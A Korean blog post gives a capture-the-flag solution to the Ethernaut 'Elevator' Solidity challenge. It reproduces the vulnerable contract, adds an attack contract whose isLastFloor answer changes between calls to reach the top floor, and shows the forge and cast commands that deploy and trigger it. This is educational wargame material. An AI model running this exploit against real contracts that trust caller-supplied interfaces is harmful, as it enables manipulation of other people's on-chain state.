[Ethernaut] (11 Elevator)블록체인2025. 2. 2. 17:00
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
인터페이스 상태 변환시켜서 top으로 이동시키면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Elevator.sol";
contract Attack {
uint256 count;
function atk() public {
Elevator instance = Elevator(0x1948b1b31241740C111057EcC4f7fD709D9F1b0E);
instance.goTo(1);
}
function isLastFloor(uint) external returns (bool) {
count += 1;
return count != 1;
}
}
forge create --broadcast src/Elevator_solv.sol:Attack --rpc-url $RPC_URL --account Burnnnnny
cast send 0x8854f4F88962B21a9726D1E7244F6A89bd1bF523 "atk()" --rpc-url $RPC_URL --account Burnnnnny'블록체인' 카테고리의 다른 글
| 솔라나 입문기 - 0 (0) | 2025.04.14 |
|---|---|
| [Ethernaut] (17 Recovery) (0) | 2025.03.14 |
| [Ethernaut] (10 Re-entrancy) (0) | 2025.01.30 |
| [Ethernaut] (9 king) (0) | 2025.01.17 |
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.